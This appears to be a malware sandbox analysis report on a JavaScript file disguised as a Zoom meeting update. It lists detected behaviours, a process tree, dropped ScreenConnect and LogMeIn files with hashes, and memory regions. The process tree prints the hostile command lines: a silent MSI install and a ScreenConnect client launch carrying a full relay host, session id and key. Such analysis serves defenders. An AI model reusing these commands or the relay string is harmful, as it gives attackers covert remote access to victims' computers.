Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    09/09/2026, 00:16

General

  • Target
    Zoom_Meeting_Upgrade/Zoom_Meeting_Update.js
  • Size 6KB
  • Sample260909-aksvdaak2x
  • SHA256 f6c191a5e82c282ebc828ab75cc7130e08423ef06a36bcaeef731e654047e8e9
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 19 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 23 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 14 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 11 IoCs
  • Suspicious use of SendNotifyMessage 11 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Zoom_Meeting_Upgrade\Zoom_Meeting_Update.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4540
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" "C:\Users\Admin\AppData\Local\Temp\Zoom_Meeting_Upgrade\Zoom_Meeting_Update.js" elevated
      2⤵
      • Badlisted process makes network request
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3372
      • C:\Windows\System32\msiexec.exe
        "C:\Windows\System32\msiexec.exe" /i "C:\Windows\Temp\LogMeInResolve_Unattended.msi" /qn /norestart /l*v "C:\Windows\Temp\LogMeIn_MSI.log"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4024
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:768
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 36227C407B5CB37074DC496B6B8A67CC
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1456
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIB10B.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240693890 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:1936
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 844A2BB3EAAD9E27712736B2E58EF53C E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:208
  • C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-m1pebx-relay.screenconnect.com&p=443&s=821dc798-76c6-42e0-9f6b-075221b56973&k=BgIAAACkAABSU0ExAAgAAAEAAQChTEREaSMTzaXG6zJlaGtDTUKTboYKPjnreMc2T9iNnVgSeYP3rV2X2EoXspa0%2baLdH8IbOqraXQSdiZnZLceykkpr7kcs9pm7npQuwtLkVFDmEwKr9qdgfRd81Q7dCbzpdab3z09M2BB6Rx91HS4xNd9TQbhklnZ4I9LbEwDgur4%2fwCgX%2f5Z1SEEcxHqrcPsKaon4fufthOLN8DHops%2fIqbHcUgmMJk8ltB73bAQ39LDtOJmFN5idYehcr5QpQP23IfdIiJ%2fLg30N294p4RTSYzEDUfbPqTzU6CBWet73hbpKqKDBke%2bin2ilSX9echW%2bietE6yrir1rs9QQ%2fLvjL"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3880
    • C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.WindowsClient.exe" "RunRole" "b4b9c7c5-68b8-4cf4-8944-98b06dc5d1b3" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:3044
    • C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.WindowsClient.exe" "RunRole" "25202edb-59ad-4f07-ae8b-ae90a74ebfa5" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4836

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        e58a0b3.rbs

        • Path C:\Config.Msi\e58a0b3.rbs
        • Size 214KB
        • SHA256 07aab3bdc6f480c7c3046aea20a62d731e613aa5666b3c9e8b818c05976d646f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 27e873d0fceefdd1a12ca77e3bbecec2ece7acdba433b47dca102c35e1c5896c
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.ClientService.dll
        • Size 92KB
        • SHA256 78fa9cf69577f6990275c7c472f7114f9d0c85e660f3b9c81b085fc3cfbc8673
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 5956f9afb3ba610c38b2cfda88dd15be98783963769a12020c93ce05e749b3c3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.Core.dll
        • Size 582KB
        • SHA256 4eab8752d05cd31bafd07edde7d18061cb63eea99af3132460e6dc08bb5f9e73
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 ec4de5e6e9c079a30a5780d79ee662e0a4c6d009f0e3f911edc560973fb17d1e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.WindowsClient.exe
        • Size 685KB
        • SHA256 2763b953657e3c4d6b2f952218a1e1963bcd6971f0b1102d99bb7efea04ceb29
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 7511e679597572782241ff989c065c02f9f5a12ab37290b69a27226eda57ce75
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (0a01ac0059869161)\system.config
        • Size 960B
        • SHA256 6fd33fac09f5954de56ebbad7b1582564887b4d5f6d410ced288ae4514d95907
        • MD5 SHA1 SHA512 TLSH

        MSIB10B.tmp

        • Path C:\Windows\Installer\MSIB10B.tmp
        • Size 1.1MB
        • SHA256 400ff5b9a4439339876282909b23c397ffa208f4bcf64460fa2521284acf0b6e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIB10B.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIB10B.tmp-\ScreenConnect.Core.dll
        • Size 572KB
        • SHA256 74f2d225b492eb77a5654bcaafec5162d0c5f72de884daa4c32daf54e2bff3d7
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIB10B.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 2022f13b1f562d3cbef3a3926f0370a2de64e57ff281a121f90001a47499a356
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIB10B.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 93f910f732855000861c1b4e6c55a2dee0a8cbb2172d89c7a2bc99053746c193
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIBCF4.tmp

        • Path C:\Windows\Installer\MSIBCF4.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        az1vneba.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (0a01ac0059869161)\az1vneba.newcfg
        • Size 881B
        • SHA256 e46c34b63126a4d97e7432871e1a3756f66609517bd8275425d54aead7fe27c8
        • MD5 SHA1 SHA512 TLSH

        qitfiny0.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (0a01ac0059869161)\qitfiny0.newcfg
        • Size 881B
        • SHA256 3622cdfcf745d2f7b585162b97fa73a0c356f12b57eb3479b5db1d018fa689d1
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (0a01ac0059869161)\user.config
        • Size 881B
        • SHA256 a165ad0f9fa6ddf453ec61c8f13cb58acd0e5ca79f76b41e15dc65a8c8847f43
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (0a01ac0059869161)\user.config
        • Size 881B
        • SHA256 bae57622b5946a1d0d27afdea44ce91fc582b0ed9f2362203473eeca0100aa61
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (0a01ac0059869161)\user.config
        • Size 683B
        • SHA256 903a49b9bf483eeb54c621cfc7d8108b00820b8ce8b467e8eb622a596706294a
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (0a01ac0059869161)\user.config
        • Size 520B
        • SHA256 a449cdb7c437ca7588b535bffc3554af81f39d39d2fc707c8634b52663ca3ed4
        • MD5 SHA1 SHA512 TLSH

        LogMeInResolve_Unattended.msi

        • Path C:\Windows\Temp\LogMeInResolve_Unattended.msi
        • Size 9.8MB
        • SHA256 bf01506fc275a71cdb30d74517069bf59dd8fbef31e8623c6b1f1caad7714997
        • MD5 SHA1 SHA512 SSDEEP TLSH

        LogMeIn_MSI.log

        • Path C:\Windows\Temp\LogMeIn_MSI.log
        • Size 1KB
        • SHA256 9890ffbe0b77ca5ee6ca539fa8e0d9ad85261888515b3c74818de185dbb08dc9
        • MD5 SHA1 SHA512 TLSH

        memory/1936-56-0x00000000054C0000-0x0000000005A64000-memory.dmp

        memory/1936-55-0x0000000004D60000-0x0000000004F10000-memory.dmp

        memory/1936-43-0x00000000025E0000-0x000000000260E000-memory.dmp

        memory/1936-47-0x0000000002620000-0x000000000262C000-memory.dmp

        memory/1936-51-0x0000000004B10000-0x0000000004BA6000-memory.dmp

        memory/3044-168-0x000000001B250000-0x000000001B400000-memory.dmp

        memory/3044-170-0x000000001B590000-0x000000001B716000-memory.dmp

        memory/3044-169-0x00000000022F0000-0x000000000230A000-memory.dmp

        memory/3044-167-0x000000001B000000-0x000000001B096000-memory.dmp

        memory/3044-165-0x00000000000D0000-0x0000000000180000-memory.dmp

        memory/3044-166-0x000000001AC90000-0x000000001ACFC000-memory.dmp

        memory/3880-115-0x0000000003D90000-0x0000000003DE0000-memory.dmp

        memory/3880-93-0x0000000003A50000-0x0000000003A6A000-memory.dmp

        memory/3880-141-0x0000000004110000-0x00000000041A2000-memory.dmp

        memory/3880-99-0x0000000003C70000-0x0000000003D06000-memory.dmp

        memory/3880-103-0x0000000003EC0000-0x0000000004070000-memory.dmp

        memory/3880-145-0x00000000042F0000-0x00000000043C6000-memory.dmp

        memory/3880-136-0x0000000003E50000-0x0000000003EBC000-memory.dmp

        memory/3880-143-0x0000000003DE0000-0x0000000003E21000-memory.dmp